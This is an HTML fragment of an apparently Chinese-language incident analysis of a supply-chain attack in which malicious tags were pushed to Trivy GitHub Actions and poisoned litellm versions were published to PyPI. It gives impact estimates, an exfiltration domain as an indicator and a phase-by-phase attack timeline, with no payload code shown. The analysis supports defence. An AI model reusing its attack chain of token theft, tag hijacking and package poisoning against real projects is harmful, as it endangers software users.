rgba(0, 0, 0, 0.18);"><p><span leaf=""><a href="https://www.abgeo.dev/blog/trivy-github-actions-compromised-full-payload" target="_blank">https://www.abgeo.dev/blog/trivy-github-actions-compromised-full-payload</a></span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">litellm 安全更新博客</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">（待补充官方链接）</span></p></td></tr></tbody></table><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 data-line="552" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">事件影响评估</span></h2><h3 data-line="554" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">直接影响</span></h3><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">指标</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">估计值</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">受影响 PyPI 版本</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2 个 (v1.82.7, v1.82.8)</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">litellm GitHub Stars</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">40.3k+</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PyPI 下载量（恶意版本）</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">未知（PyPI 已隔离）</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">潜在受影响用户</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">数千（基于 litellm 流行度）</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">数据外泄域名</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">models.litellm.cloud</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">攻击持续时间</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">约 24 小时（从发布到发现）</span></p></td></tr></tbody></table><h3 data-line="565" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">间接影响</span></h3><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">信任危机</span></strong><p><span leaf="">：用户对 PyPI 生态系统和自动化发布流程的信任度下降</span></p></li><li><strong><span leaf="">安全审查加强</span></strong><p><span leaf="">：更多项目开始审查其 CI/CD 管道中的第三方工具</span></p></li><li><strong><span leaf="">政策变化</span></strong><p><span leaf="">：PyPI 可能加速推进 Trusted Publishers 的采用</span></p></li><li><strong><span leaf="">行业警示</span></strong><p><span leaf="">：为整个开源社区提供了供应链攻击的典型案例</span></p></li></ol><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 data-line="574" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">时间线总结图示</span></h2><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="576" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">2026-03-19 17:43 UTC    2026-03-20 05:40 UTC    2026-03-23          2026-03-24 11:48 UTC</span><span leaf=""><br/></span><span leaf="">     │                        │                     │                      │</span><span leaf=""><br/></span><span leaf="">     ▼                        ▼                     ▼                      ▼</span><span leaf=""><br/></span><span leaf="">┌─────────┐              ┌─────────┐          ┌─────────┐            ┌─────────┐</span><span leaf=""><br/></span><span leaf="">│ Trivy   │              │ Trivy   │          │ 攻击者  │            │ 社区    │</span><span leaf=""><br/></span><span leaf="">│ 标签被  │              │ 暴露窗  │          │ 注册域  │            │ 发现并  │</span><span leaf=""><br/></span><span leaf="">│ 强制推送│              │ 口关闭  │          │ 名并发布│            │ 报告    │</span><span leaf=""><br/></span><span leaf="">└─────────┘              └─────────┘          └─────────┘            └─────────┘</span><span leaf=""><br/></span><span leaf="">                              │                     │                      │</span><span leaf=""><br/></span><span leaf="">                              ▼                     ▼                      ▼</span><span leaf=""><br/></span><span leaf="">                         所有 &lt;0.35.0           恶意版本               Issue <a class="wx_topic_link" topic-id="mn63vx41-tygeeq" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24512</a></span><span leaf=""><br/></span><span leaf="">                         标签被恢复             v1.82.7/v1.82.8         <a class="wx_topic_link" topic-id="mn63vx41-eawzpo" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24514</a> <a class="wx_topic_link" topic-id="mn63vx41-f7kjf7" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24517</a></span><span leaf=""><br/></span><span leaf="">                                                发布到 PyPI              <a class="wx_topic_link" topic-id="mn63vx41-zinj8v" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24515</a></span><span leaf=""><br/></span><span leaf="">                                                                         │</span><span leaf=""><br/></span><span leaf="">                                                                         ▼</span><span leaf=""><br/></span><span leaf="">                                                                    2026-03-24 16:15 UTC</span><span leaf=""><br/></span><span leaf="">                                                                         │</span><span leaf=""><br/></span><span leaf="">                                                                         ▼</span><span leaf=""><br/></span><span leaf="">                                                                    PR <a class="wx_topic_link" topic-id="mn63vx42-pwrwfk" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24525</a> 合并</span><span leaf=""><br/></span><span leaf="">                                                                    固定 trivy 版本</span><span leaf=""><br/></span><span leaf="">                                                                         │</span><span leaf=""><br/></span><span leaf="">                                                                         ▼</span><span leaf=""><br/></span><span leaf="">                                                                    2026-03-25 01:53 UTC</span><span leaf=""><br/></span><span leaf="">                                                                         │</span><span leaf=""><br/></span><span leaf="">                                                                         ▼</span><span leaf=""><br/></span><span leaf="">                                                                    PR <a class="wx_topic_link" topic-id="mn63vx4b-kikwy7" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24541</a> 合并</span><span leaf=""><br/></span><span leaf="">                                                                    移除发布工作流</span><span leaf=""><br/></span></code></pre><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><p data-line="608" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><em><span leaf="">分析时间：2026-03-25</span></em><span leaf=""><br/></span><em><span leaf="">数据来源：GitHub API, BerriAI/litellm 仓库，aquasecurity/trivy-action Issue <a class="wx_topic_link" topic-id="mn63vx4b-20qyow" style="color: #576B95 !important;" data-topic="1" data-recommend="">#541</a></span></em><span leaf=""><br/></span><em><span leaf="">最后更新：添加了 Trivy 标签强制推送攻击的详细技术分析和暴露时间窗口</span></em></p><p><span leaf="">--------------</span></p><h1 data-line="0" dir="auto" style="margin-top: 0px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">🔍 Trivy 被入侵完整分析报告</span></h1><h2 data-line="2" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">📌 攻击时间线总览</span></h2><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">阶段</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">时间</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">事件</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">前奏</span></strong></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-02-27</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">MegaGame10418 通过 Pwn Request 窃取 aqua-bot PAT</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">Phase 1</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-19 17:43</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">恶意 v0.69.4 标签推送</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">Phase 2</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-19 21:31</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">横向移动到 tfsec、traceeshark、trivy-action</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">Phase 3</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-19 22:08</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">恶意 Action 标签发布</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">Phase 4</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-20 00:08</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">96 个垃圾账号洪水评论</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">Phase 5</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-20 20:45</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">npm 蠕虫 CanisterWorm 部署</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">Phase 6</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-22 11:45</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">kamikaze.sh 载荷激活</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">Phase 7</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-22 15:43</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Docker Hub 直接推送恶意镜像</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">Phase 8</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-23 12:53</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Checkmarx KICS 被入侵</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">Phase 9</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-24 10:39</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">LiteLLM PyPI 被投毒</span></p></td></tr></tbody></table><h2 data-line="17" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">🎯 初始入侵向量</span></h2><h3 data-line="19" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">根本原因：不完整的凭证轮换</span></strong></h3><h4 data-line="21" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1. </span><strong><span leaf="">2026-02-27 Pwn Request 攻击</span></strong></h4><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: 